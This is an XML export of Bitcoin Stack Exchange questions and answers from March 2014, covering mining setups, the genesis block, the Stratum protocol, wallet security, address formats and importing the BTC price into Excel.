  <row Id="23546" PostTypeId="2" ParentId="23545" CreationDate="2014-03-14T22:51:10.727" Score="1" Body="&lt;p&gt;There is no simple algorithm to estimate the difficulty. Doing that requires you to first determine the &lt;a href=&quot;http://en.wikipedia.org/wiki/Cardinality&quot; rel=&quot;nofollow&quot;&gt;cardinality&lt;/a&gt; of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Intersection_%28set_theory%29&quot; rel=&quot;nofollow&quot;&gt;intersection&lt;/a&gt; between the &lt;a href=&quot;http://en.wikipedia.org/wiki/Regular_Language&quot; rel=&quot;nofollow&quot;&gt;regular language&lt;/a&gt; expressed by the input regular expression, and the set of all valid public keys.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-14T22:51:10.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23547" PostTypeId="2" ParentId="23545" CreationDate="2014-03-15T01:17:52.190" Score="0" Body="&lt;p&gt;Assuming the output is random:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many randomly generated texts (in the base58 dictionary that *coin addresses use) are going to match my regex?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output is not exactly random, so that's a shame, but it will give you a good enough indication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember they call it vanity addresses for a good reason! It's all kind of vain.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2014-03-15T01:17:52.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23548" PostTypeId="2" ParentId="20520" CreationDate="2014-03-15T01:22:52.007" Score="4" Body="&lt;p&gt;Hosting Bitcoind on a VPS is a &lt;strong&gt;&lt;em&gt;very bad idea&lt;/em&gt;&lt;/strong&gt;. I cannot stress this enough. The VPS provider will not have adequate security standards. You increase your risk profile &lt;em&gt;dramatically&lt;/em&gt; as the combination of software running on the host server can cause a problem for you and your users. Please. Don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you do want to, it all depends on how transactions will be dealt with in the future. As a VPS is usually fairly flexible I'd take about twice the blockchain now, and just upgrade when you're above 80% disk space usage. That gives you some wiggle room.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may consider using a light client, perhaps with increased connection count (more than 8). That will totally remove your disk space hunger and it's reasonably secure.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2014-03-15T01:22:52.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23549" PostTypeId="2" ParentId="20457" CreationDate="2014-03-15T02:00:11.723" Score="0" Body="&lt;p&gt;Sometimes this error is thrown because passing too many characters as rpcuser or rpcpassword in the config file I have sorted out this issue with reducing the length of the rpcuser and password and removing special characters &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-15T02:00:11.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23555" PostTypeId="2" ParentId="23540" CreationDate="2014-03-15T04:23:43.023" Score="0" Body="&lt;p&gt;Your Blockchain.info wallet is inherently safe due to the way wallets are generated by Blockchain. Blockchain.info only sends encrypted payloads to and from that are decryptable by the pass phrase you use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't use the API if you don't want to rely on the SSL, which should be pretty strong if used properly but the standard web interface should be safe.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-15T04:23:43.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23559" PostTypeId="1" AcceptedAnswerId="23576" CreationDate="2014-03-15T04:51:36.927" Score="6" ViewCount="282" Body="&lt;p&gt;Has a cryptocurrency network ever been fully DDoSed so that the blockchain did not advance during the attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, which one and how?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-04-14T13:44:16.957" Title="Have network DDoS attacks ever been successful on any coin?" Tags="|alternatives|attack|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23565" PostTypeId="2" ParentId="23508" CreationDate="2014-03-15T07:25:54.130" Score="2" Body="&lt;p&gt;I agree that it isn't worded very well. It seems to be a number &lt;code&gt;r&lt;/code&gt; such that the revenue &lt;code&gt;n&lt;/code&gt; years from now will be &lt;code&gt;r^n&lt;/code&gt; times the revenue today, so basically what you said.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To empirically verify this, set electricity and hardware cost to 0 (so that profits equal revenue), time frame in months to 12 (for a full year), and profitability decline to 1. You should get $1,366 or so. If you change it to 24 months, you get $2,732 - exactly double the previous. On the other hand, with a profitability decline of 0.2, you get $679 in 12 months and $814 in 24 months, which is $135 (or 20%) more.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastEditorUserId="5406" LastEditDate="2014-03-15T13:50:24.427" LastActivityDate="2014-03-15T13:50:24.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23570" PostTypeId="2" ParentId="23541" CreationDate="2014-03-15T12:12:44.047" Score="1" Body="&lt;p&gt;No, don't worry. It's just a controlpanel-style thing for keeping you informed; you don't need to stay logged in to that frontend in order to earn your poole shares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to keep your actual miner running though: most OSes allow to conveniently put it in the background (so you can log out of your box, too) while running your miners and earning coins.&lt;/p&gt;&#xA;" OwnerUserId="14522" LastActivityDate="2014-03-15T12:12:44.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23572" PostTypeId="2" ParentId="23405" CreationDate="2014-03-15T12:42:27.483" Score="5" Body="&lt;p&gt;There are so-called light-weight wallets out there operating WITHOUT the need to download the entire blockchain first. MultiBit is one of these (and probably the most commonly used) and is available for the big-3 OSes.&lt;/p&gt;&#xA;" OwnerUserId="14522" LastActivityDate="2014-03-15T12:42:27.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23574" PostTypeId="2" ParentId="23393" CreationDate="2014-03-15T12:50:59.023" Score="0" Body="&lt;p&gt;don't worry -- they're there for convenience only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scanning the QR code helps reading either a public key (to verify) or your private key (to spend your bitcoins) into whatever application you are using to verify or spend from your balance respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy-and-paste works as well, doing the same for you as those QR codes you see everywhere... &lt;/p&gt;&#xA;" OwnerUserId="14522" LastActivityDate="2014-03-15T12:50:59.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23575" PostTypeId="2" ParentId="23324" CreationDate="2014-03-15T12:55:54.420" Score="1" Body="&lt;p&gt;talk has been appearing lately of PayPal considering to accept Bitcoin. That would give you a somewhat direct interchange between the &quot;two worlds&quot; though at rather considerable cost (PayPal commissions, their outrageous bid/ask spreads, plus fixed base-fee)...&lt;/p&gt;&#xA;" OwnerUserId="14522" LastEditorUserId="14522" LastEditDate="2014-03-15T13:51:52.197" LastActivityDate="2014-03-15T13:51:52.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23576" PostTypeId="2" ParentId="23559" CreationDate="2014-03-15T13:03:45.013" Score="3" Body="&lt;p&gt;This is more or less impossible, since you don't know where the miners are. Attacking the major mining pools is feasible, though they deploy some anti-DDoS measures. But even when such an attack would succeed, there still are people non-affected (eg. running behind NAT) and running the *coin network like if nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue that I can notice there is that the difficulty for getting a new block would be too high, so that the blocks would be mined much slower.&lt;/p&gt;&#xA;" OwnerUserId="13645" LastActivityDate="2014-03-15T13:03:45.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23581" PostTypeId="2" ParentId="19172" CreationDate="2014-03-15T14:18:26.840" Score="1" Body="&lt;p&gt;Leaving aside the question of the entry cost of mining (i.e cost of buying hardware), once you have this hardware there is actually an incentive to mine for a pool rather than to mine solo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed in both cases your &lt;a href=&quot;http://en.wikipedia.org/wiki/Expected_value&quot; rel=&quot;nofollow&quot;&gt;expected value&lt;/a&gt; is the same but the &lt;a href=&quot;http://en.wikipedia.org/wiki/Variance&quot; rel=&quot;nofollow&quot;&gt;variance&lt;/a&gt; is smaller when you mine for a pool than when you mine solo. That means that in the (infinite) long run you would theoretically earn the same amount of bitcoins in both cases but not in the same manner : in a (big) pool you would often get small fractions of bitcoins whereas solo you would mine a block very rarely but get a lot of bitcoins when you do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So by mining solo you are relaying a lot on luck, and by mining for a pool you reduce the role of luck. Usually when people make an investment (here it would be buying hardware) they prefer to reduce the importance of luck for the returns, that's why I would say there is an incentive to mine for a large pool. And for the same reason there is an incentive for the pools the get larger : the larger the pool the smaller the variance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However there is a counter-incentive for a pool the get more than 50% of the hashrate, because if one pool was discovered to be in such a position it could kill the confidence in Bitcoin thus killing bitcoin's value and all that mining hardware that the pool invested in could turn worthless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So maybe the equilibrium is that there will be a few large mining pools but none will have more than 50% of the hashrate.&lt;/p&gt;&#xA;" OwnerUserId="14458" LastActivityDate="2014-03-15T14:18:26.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23582" PostTypeId="2" ParentId="23491" CreationDate="2014-03-15T15:28:54.710" Score="3" Body="&lt;p&gt;From our &lt;a href=&quot;http://wiki.mastercoin.org/index.php/FAQ#Where_does_Mastercoin_derive_its_value_from.3F_Why_is_it_valuable.3F&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The initial value for mastercoins came out of the fundraiser&#xA;  &quot;anchoring&quot;. People were willing to &quot;sacrifice&quot; 1 BTC in exchange for&#xA;  about 100 MSC, so it anchored the initial value of MSC in at least&#xA;  0.01 BTC per MSC.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The more general answer is that Mastercoin provides a set of features&#xA;  that only work with MSC or Mastercoin-based currencies, and there is a&#xA;  limited number of them. So, in order to enjoy these features, you have&#xA;  to own some mastercoins, giving them an independent value. The more&#xA;  real world usage Mastercoin sees, the higher the value of each&#xA;  mastercoin. In addition, as always, a lot of its value is currently&#xA;  driven by speculators executing a price discovery process.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Specifically, mastercoin tokens are used for:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Creating derived currencies and smart property are used to create&#xA;  and/or promote smart property tokens as an anti-spam measure.&#xA;  Mastercoins are used as the liquidity layer for Contracts for&#xA;  Difference The distributed exchange between Mastercoins and user&#xA;  generated currencies is more efficient than BTC&amp;lt;-&gt;MSC or BTC&amp;lt;-&gt;Derived&#xA;  exchanges - the latter require a 2 step commit process. As the&#xA;  protocol evolves, more direct usages for Mastercoins may be created.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I added this last bit about token usages to the FAQ following your questions - thanks ThePiachu for this questions!&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-03-15T15:28:54.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23584" PostTypeId="1" CreationDate="2014-03-15T16:42:22.337" Score="0" ViewCount="2071" Body="&lt;p&gt;&lt;strong&gt;UPDATED AND CLARIFIED AND SIMPLIFIED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking through npmjs.org - My thought is can a node.js server mine (without a graphics card just using its own possessing power?) If so (there are a lot of modules for different things to do with statum) has anyone else done this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having difficulty understanding things with these npm modules on how to get them hooked up the same as my batch file (.bat) currently using cgminner ( I don't want to use cgminner just node.js)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my .bat for cgminer looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer.exe --scrypt -u example.1 -p x -o stratum+tcp://united.wemineltc.com:3334 --gpu-platform 0 -w 256 -v 1 -I 17 -g 1 -l 1 --thread-concurrency 6496 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;does anyone use node.js for this&lt;/li&gt;&#xA;&lt;li&gt;can someone show me which npm modules mine&lt;/li&gt;&#xA;&lt;li&gt;can someone show me how to add my bat details to a npm node module js script&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks Guys!&lt;/p&gt;&#xA;" OwnerUserId="14316" LastEditorUserId="14316" LastEditDate="2014-03-16T07:44:07.390" LastActivityDate="2014-03-16T08:05:31.080" Title="npm / node mining for litecoins" Tags="|litecoin|server|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23585" PostTypeId="1" CreationDate="2014-03-15T17:41:15.060" Score="1" ViewCount="2670" Body="&lt;p&gt;Some friends and I currently run a webapp and we rent 50 dedicated servers that run a few dozen linux VMs each. During the night they are not used a lot so we thought we could use them for cpu mining litecoin. We know that thats normally not profitable but we rent the servers for a fixed price so we could at least make a little money back each month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each VM gets roughly 0.5 to 2 kh/s. We already tried some LTC mining pools however all the ones we have found had pretty high share difficulties (64 and higher), so we only rarely got confirmed shares because clean_jobs=True messages would come before a VM could finish a share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are now also considering setting up our own internal mining pool that connects to a bigger external pool and divides shares further for our VMs. &#xA;We also considered using some other altcoin type thats more suitable for CPU mining, but that mostly seems more trouble than it's worth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats the best way to utilize such a setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="14532" LastEditorUserId="5406" LastEditDate="2016-04-25T19:39:21.063" LastActivityDate="2016-04-25T19:39:21.063" Title="Best strategy for using hundreds of 1 kh/s CPU litecoin miners" Tags="|litecoin|miner-configuration|cpu-mining|cpu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23586" PostTypeId="1" AcceptedAnswerId="23590" CreationDate="2014-03-15T17:47:55.427" Score="3" ViewCount="1216" Body="&lt;p&gt;I downloaded the bootstrap.dat file from the torrent at &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&lt;/a&gt; and placed it in the .bitcoin directory of a new Ubuntu installation of Bitcoin-Qt, ran the client and waited for the client to sync. In the blocks directory there are now blkxxxxx.dat files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expected the first 285 bytes of blk00000.dat to look like the ones at &lt;a href=&quot;http://james.lab6.com/2012/01/12/bitcoin-285-bytes-that-changed-the-world/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://james.lab6.com/2012/01/12/bitcoin-285-bytes-that-changed-the-world/&lt;/a&gt; complete with message about the Chancellor, but instead my first 285 bytes start with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 00000000  f9 be b4 d9 d7 00 00 00  01 00 00 00 6f e2 8c 0a  |............o...|&#xA; 00000010  b6 f1 b3 72 c1 a6 a2 46  ae 63 f7 4f 93 1e 83 65  |...r...F.c.O...e|&#xA; 00000020  e1 5a 08 9c 68 d6 19 00  00 00 00 00 98 20 51 fd  |.Z..h........ Q.|&#xA; 00000030  1e 4b a7 44 bb be 68 0e  1f ee 14 67 7b a1 a3 c3  |.K.D..h....g{...|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and there's no readable text, i.e. no timestamp message from Satoshi. The magic number is there, but the rest of the data doesn't look like the genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm using the standard Bitcoin foundation's client, and the genesis block has to be there for it to work (see &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2994/how-did-the-first-50-bitcoins-come-into-being?rq=1&quot;&gt;How did the first 50 Bitcoins come into being?&lt;/a&gt;) so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="1942" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-03-15T22:23:19.907" Title="First block of blk00000.dat from bootstrap.dat doesn't contain genesis block" Tags="|blockchain|genesis-block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23588" PostTypeId="1" AcceptedAnswerId="23592" CreationDate="2014-03-15T19:37:12.297" Score="15" ViewCount="79800" Body="&lt;p&gt;I'm trying to so some maths calculations with Excel but I need to get the current btc value from any website that can provide it in any format but simple as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea to get the current btc value (usd) and update it in real time in an excel sheet? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14080" LastEditorDisplayName="user4276" LastEditDate="2014-05-20T23:29:08.470" LastActivityDate="2017-06-25T06:43:01.253" Title="Get simple BTC value to insert it in excel sheet" Tags="|value|btce|live-data|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23589" PostTypeId="2" ParentId="23586" CreationDate="2014-03-15T22:20:19.787" Score="1" Body="&lt;p&gt;It looks as if you have the block &lt;em&gt;after&lt;/em&gt; the genesis block. I don't know the bootstrap.dat format, but I would venture to guess that the genesis block doesn't need to be in the bootstrap file because the certain checkpoints are already hardcoded into the Reference Client, and that includes the genesis block.&lt;/p&gt;&#xA;" OwnerUserId="14149" LastActivityDate="2014-03-15T22:20:19.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23590" PostTypeId="2" ParentId="23586" CreationDate="2014-03-15T22:23:19.907" Score="3" Body="&lt;p&gt;The genesis block is hardcoded in the software, as you need a common starting point to start a chain.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-03-15T22:23:19.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23591" PostTypeId="1" AcceptedAnswerId="23598" CreationDate="2014-03-15T22:27:47.787" Score="5" ViewCount="16452" Body="&lt;p&gt;I understand that Stratum is a kind of protocol specifically designed for ASIC miners. I found &lt;a href=&quot;http://mining.bitcoin.cz/stratum-mining&quot; rel=&quot;noreferrer&quot;&gt;this page from its creator&lt;/a&gt;, but it is very technical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know, in layman's terms, what are the differences between Stratum and HTTP. I also want to know if this means anything to me; do it give me more hash, or more shares in the pool, etc. Or is it mostly a concern for the pool operators; running my miners on Stratum is better for them.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2014-03-16T04:19:10.467" Title="What are the differences and advantages of stratum to HTTP?" Tags="|stratum|http|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23592" PostTypeId="2" ParentId="23588" CreationDate="2014-03-16T01:09:22.190" Score="10" Body="&lt;p&gt;This more of a question about excel than it is actually about Bitcoin. But the answer is actually pretty easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing is that the data that you want to import from the web may not be easily isolated, so you might have to import much more data than you want into a second excel sheet, then link the cell with the data you are interested to a cell in your actual sheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find a site that has the dynamic data you are looking for. Let's use &lt;a href=&quot;https://www.bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Copy the data that you want and paste it into excel. You can't miss the current price right at the top.&lt;/li&gt;&#xA;&lt;li&gt;After you paste it into excel the little paste options icon will popup next to it. Click it then select Refreshable Web Query.&lt;/li&gt;&#xA;&lt;li&gt;A new window will popup that will load the whole page. You might get some script errors; you can ignore those.&lt;/li&gt;&#xA;&lt;li&gt;The window directs you to click the arrow icon next to the table that you want to import. Unfortunately, with BitStamp, the only option is the whole page. Click the arrow then click import.&lt;/li&gt;&#xA;&lt;li&gt;Excel will now import a load of data from the webpage. The second cell is the one we are looking for; that is the current Bitcoin price in USD. This is where have a separate sheet for this import data is convenient.&lt;/li&gt;&#xA;&lt;li&gt;Go to the sheet where you want to use that data and link the cell you want to the other by first clicking &lt;code&gt;=&lt;/code&gt; then clicking the cell in the sheet with all the data from bitstamp. You will see something like &lt;code&gt;=Sheet1!A2&lt;/code&gt; in the formula bar.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's all there really is to it. &lt;a href=&quot;http://office.microsoft.com/en-us/excel-help/get-external-data-from-a-web-page-HA010218472.aspx&quot; rel=&quot;nofollow&quot;&gt;Microsoft has an extensive article on the topic complete with all the technical details.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="4748" LastEditDate="2014-03-16T14:20:11.760" LastActivityDate="2014-03-16T14:20:11.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23593" PostTypeId="1" AcceptedAnswerId="23602" CreationDate="2014-03-16T02:24:49.810" Score="1" ViewCount="315" Body="&lt;p&gt;Different crypto-currencies have different lengths of payment addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://en.wikipedia.org/wiki/Litecoin#Addresses&quot; rel=&quot;nofollow&quot;&gt;LTC address length is 34 case sensitive letters and numbers&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://nextcoin.org/index.php?topic=471.30&quot; rel=&quot;nofollow&quot;&gt;NXT address length is 20 digits&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short payment address can be easier to remember, read, write, compare and transmit by phone, which makes it advantage of crypto-currency, making it attractive investment, doesn't it ?&lt;/p&gt;&#xA;" OwnerUserId="14400" LastActivityDate="2014-03-16T06:14:23.650" Title="Which crypto currencies have shortest payment address?" Tags="|address|currencies|bitcoin-core-accounts|investing|address-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23598" PostTypeId="2" ParentId="23591" CreationDate="2014-03-16T04:19:10.467" Score="9" Body="&lt;p&gt;Stratum is an over-the-wire protocol that solves the headaches created by HTTP when used for mining. To understand why Stratum is necessary, you have realize the fact that HTTP is designed for serving web applications and web pages, it's main job is to return files and not to coordinate peers. But miners need to do more than receive information, they also need to send. The following are issues with HTTP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Miner's request information&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a miner wants a new mining job, they have to send a request through HTTP. Why bother with having the miners request this information when the mining pool knows more efficiently what each individual miner should be doing? What happens if a new block appears on the network and the miner doesn't know about this? So Stratum flips this and has the mining pool sending information &lt;em&gt;as it becomes available&lt;/em&gt;, not miners asking for available information periodically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long-polling&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long-polling is a very hacky solution to fix the one-sided nature of HTTP. It's done by setting a very high timeout limit (say 10 seconds) where the server purposely delays sending information until it has something to send. Imagine a URL address taking minutes to load because the server is simply waiting for something to happen on it's network. This creates a lot of inefficiency as miners are requesting data that simply isn't there and servers have to maintain those connections as well for as long as mining happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ntime rolling&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a more technical problem, and its fix is considered the biggest innovation of stratum. Miners are given the ability to modify 2 fields, the nonce and the time. This becomes a problem for large miners as they can run through all possible values of the two fields in search of the solution. If a miner runs out of unique possibilities, they have to send a new request. Newer and faster miners make this more easier to do by the month and bandwidth usage for a pool increases dramatically. Stratum solves this by giving the miners a few more fields which seriously increase the total possible solutions to a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stratum makes it so that the miner and pool are freed from the inefficiencies of HTTP, which is not meant to support mining at all. It makes communication more efficient meaning future exohash mining equipment will have enough jobs to complete while the pool operator isn't being gutted by massive bandwidth and server fees.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-16T04:19:10.467" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="23599" PostTypeId="2" ParentId="6040" CreationDate="2014-03-16T04:20:57.397" Score="0" Body="&lt;p&gt;It seems to me that simply doubling your passphrase is sheer folly.  Programs that try to guess passwords don't have to be super-smart to know that humans will often choose passwords with repetitions in them.  In this brave new world, your old standards of password strength will just not be good enough.  If you really want to be secure for many years to come, then you should take the advice of Satoshi -- he gave us the 256-bit private key because he believed that it would be strong enough to last a lifetime.  If you use a key derived from a memorable pass-phrase ( even if it is fairly long ), then you are not taking advantage of the full 256-bits that Satoshi gave us.  A pass-phrase that you think is pretty strong might last for a few years, and give you a false sense of security, until one day your money just disappears.  That's the problem -- you will not have any warning until it is too late.  I would not trust any long-term money to any pass-phrase, no matter how strong it seems to be.  It's only a matter of time before you are hacked.&lt;/p&gt;&#xA;" OwnerUserId="14543" LastActivityDate="2014-03-16T04:20:57.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23602" PostTypeId="2" ParentId="23593" CreationDate="2014-03-16T06:02:22.807" Score="3" Body="&lt;p&gt;The human mind can remember approximately &lt;a href=&quot;http://en.wikipedia.org/wiki/The_Magical_Number_Seven,_Plus_or_Minus_Two&quot; rel=&quot;nofollow&quot;&gt;7 digits&lt;/a&gt; quickly and easily. That's how you can remember US phone numbers (sans area code) without even thinking about it. However, when it gets to 10 digits it starts to reach the limit of working memory, and 20 digits is definitely out for most people. Of course, if you actually spent the time to try to memorize it, 20 digits is a lot easier than 34 alphanumeric characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, I don't think the benefits justify the costs. Cryptocurrency is designed to be used by people with access to a computer or smart device. Copy-pasting is a lot easier than trying to remember a bunch of addresses. Granted, it might be useful to remember one address, your own, that you can give out to people in conversation. But these days most people have their smartphones on them wherever they go. Also, regarding &quot;transmit by phone&quot;: Only if you use a touch-tone phone. Otherwise, you can just copy-paste and then SMS/email/submit it to the other party.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What disadvantages are there? Well, now that there are only 10^20 addresses, or 66 bits - much less than the 160 bits of Bitcoin and pretty much all of its clones, decreasing security. Moreover, this also means addresses must be generated on-network to prevent the possibility of duplicate addresses and registered as an account. For NXT, only 12 billion addresses are necessary for there to be a 50% chance of collision (a la birthday paradox). For Bitcoin, 1.4 septillion addresses need to be generated for that to be the case - which for all practical purposes, will never be generated. So people can generate addresses without being connected to the network and be very confident that no one else has ever generated the same address, making cold storage solutions easier, for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: To answer the question in the title: I only know of two address schemes, Bitcoin-like and NXT. For Bitcoin-like addresses, the first character is always something which identifies the coin (not uniquely - multiple coins, including Bitcoin, begin with a 1, Dogecoin and Digitalcoin both begin with a D, etc.), followed by a 160-bit hash and a checksum. Then you have NXT, 20 base-10 digits. I don't know of anything shorter than NXT, and any shorter would be unreasonable given the increasing probability of collisions.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastEditorUserId="13700" LastEditDate="2014-03-16T06:14:23.650" LastActivityDate="2014-03-16T06:14:23.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23604" PostTypeId="2" ParentId="23585" CreationDate="2014-03-16T06:16:56.440" Score="1" Body="&lt;p&gt;Most likely it isn't worth the effort, even if you're not paying for electricity. But if you want to do it, CPU coins are the way to go. I'm not sure why you consider it &quot;more trouble than it's worth.&quot; Check out the profitability calculators for &lt;a href=&quot;http://agran.net/memorycoin2_calc.html&quot; rel=&quot;nofollow&quot;&gt;Memorycoin&lt;/a&gt; and &lt;a href=&quot;http://anty.info/primecoin-calculator/&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt; to see if they're worth your time. If you don't want to hold those coins, you can sell them on an exchange for Bitcoin or Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-16T06:16:56.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23606" PostTypeId="2" ParentId="23441" CreationDate="2014-03-16T06:57:54.253" Score="1" Body="&lt;p&gt;To answer your question completely:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is possible to implement a Bitcoin client without the whole blockchain. In fact, many exist, including Electrum, MultiBit, Mycelium, etc.&lt;/li&gt;&#xA;&lt;li&gt;However, it is not possible to implement the entire Bitcoin network without a full blockchain, unless you want to create a fundamentally new technology. Bitcoin thrives on the blockchain; it is what allows it to maintain a decentralized ledger. If no one kept track of transactions before block 200,000, you'd have to trust that whoever is maintaining the balances at that block 200,000 isn't making up numbers.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-16T06:57:54.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
